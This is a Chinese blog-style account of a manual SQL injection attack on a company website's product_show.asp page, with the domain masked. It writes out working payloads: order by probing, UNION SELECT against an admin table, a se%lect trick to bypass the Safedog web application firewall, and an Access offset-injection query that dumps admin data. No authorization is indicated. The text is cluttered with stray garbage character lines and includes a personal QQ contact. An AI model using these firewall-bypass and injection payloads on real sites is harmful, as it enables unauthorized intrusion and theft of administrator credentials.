一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
* _; {. c6 n" e​
; t8 K& H' I3 P4 U( T
顺手加个admin
3 ^5 Y, R- J$ Q$ N​

- \7 D1 m# X8 w( x; h" I默认后台。
回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​

! E6 f1 z$ j& E6 B9 O- w

所以就不用御剑扫了，待会直接封IP。
% c; F! C  z) a4 h( o2 v
8 X, D9 d) m- P. F( j, F用order by语句判断是否存在注入。
http://www.xxx.com /product_show.asp?id=997 order by 1
http://www.xxx.com /product_show.asp?id=997 order by 100
现在存在注入，经测试后发现是9个字段。

0 v* r$ {& f4 j接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​
  U9 y/ G' m% l, Y) ~
/ d; |5 h9 p2 [" a) F: |8 p
# R  f8 p) A" H/ e5 P* _9 d/ I
; s! ^+ p1 |2 J5 m; |. j' x0 F1 o9 W& `在select中间加个%,se%lect绕过安全狗。
​
! ~3 z" x& l7 k  G7 a6 I3 ]. C
" ?4 |; g6 u- g+ @0 S: ~发现存在admin表，然后开始手工猜常用的字段。
; `4 \* V' t% x) I* B* i7 l; f; ?+ b纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
. P; m% W2 F0 d
突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。

科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
好了，敏感内容出显了。​
8 C2 p4 N. g0 F+ l! B! q


, K, ~  J0 y+ G9 h